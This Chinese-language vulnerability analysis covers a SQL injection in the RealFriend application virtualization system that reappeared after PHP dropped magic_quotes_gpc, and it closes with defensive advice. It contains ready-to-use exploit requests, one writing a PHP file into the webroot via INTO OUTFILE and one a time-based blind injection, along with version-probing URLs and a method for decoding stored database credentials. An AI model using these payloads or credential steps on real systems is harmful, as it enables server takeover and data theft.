瑞友天翼应用虚拟化系统--PHP版本升级后引发的漏洞
字数 975 2025-08-04 08:17:24
瑞友天翼应用虚拟化系统PHP版本升级引发的SQL注入漏洞分析
漏洞概述
瑞友天翼应用虚拟化系统在PHP版本升级过程中,由于废弃了magic_quotes_gpc功能,导致系统再次出现SQL注入漏洞。攻击者可利用此漏洞执行任意SQL语句,在具备DBA权限的情况下,还能写入webshell实现代码执行。
环境搭建与信息收集
版本确认
可通过以下URL获取系统版本信息:
http://[目标IP]/RAPAgent.XGI?CMD=GetRegInfo
http://[目标IP]/CASMain.XGI?cmd=About
数据库配置
默认数据库配置文件路径:
C:\Program Files (x86)\RealFriend\Rap Server\data\Config\CasDbCnn.dat
账号密码存储格式:将#替换为=后进行base64解码
漏洞成因分析
历史修复与失效
- 早期版本(5.x <= 7.0.2)存在SQL注入漏洞
- 修复方案:开启
magic_quotes_gpc对输入进行转义 - PHP版本升级后(>=5.4)废弃了
magic_quotes_gpc功能 - 新版本(如7.0.5.1)中防护失效,导致SQL注入漏洞重现
关键条件
-
MySQL配置允许任意文件写入:
show global variables like '%secure%';需确保
secure_file_priv='' -
项目绝对路径可通过报错信息获取,默认路径:
C:/Program Files (x86)/RealFriend/Rap Server/WebRoot
漏洞利用
1. 文件写入漏洞利用
端点:/hmrao.php?s=/Admin/appsave
利用方式:
GET /hmrao.php?s=/Admin/appsave&appid=1%27);select%20%27<?php%20phpinfo();?>%27%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test.php%27%20--+ HTTP/1.1
Host: 192.168.222.145
[...其他HTTP头...]
说明:
- 通过
appid参数注入SQL语句 - 利用
into outfile写入webshell - 写入路径需要转义空格等特殊字符
2. 时间盲注漏洞利用
端点:/hmrao.php?s=/Admin/appdel
利用方式:
GET /hmrao.php?s=/Admin/appdel&list=1%27)%20AND(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)AND(%271 HTTP/1.1
Host: 192.168.222.145
[...其他HTTP头...]
说明:
- 通过
list参数注入时间盲注payload - 使用
SLEEP(5)函数验证注入点 - 可进一步利用获取数据库信息
漏洞影响版本
- 受影响版本:5.x <= 瑞友天翼应用虚拟化系统 <= 7.0.2
- 修复后再次出现版本:7.0.5.1等PHP升级后的版本
防御建议
- 使用参数化查询或预处理语句替代直接SQL拼接
- 对用户输入进行严格过滤和转义
- 限制MySQL的
FILE权限和写入目录 - 升级到最新安全版本并关注官方补丁
- 实施最小权限原则,避免使用DBA权限运行应用
总结
该漏洞展示了依赖特定PHP功能(magic_quotes_gpc)进行安全防护的风险。随着PHP版本升级,原有防护机制失效,导致历史漏洞重现。开发人员应避免依赖环境特性进行安全防护,而应在代码层面实现安全机制。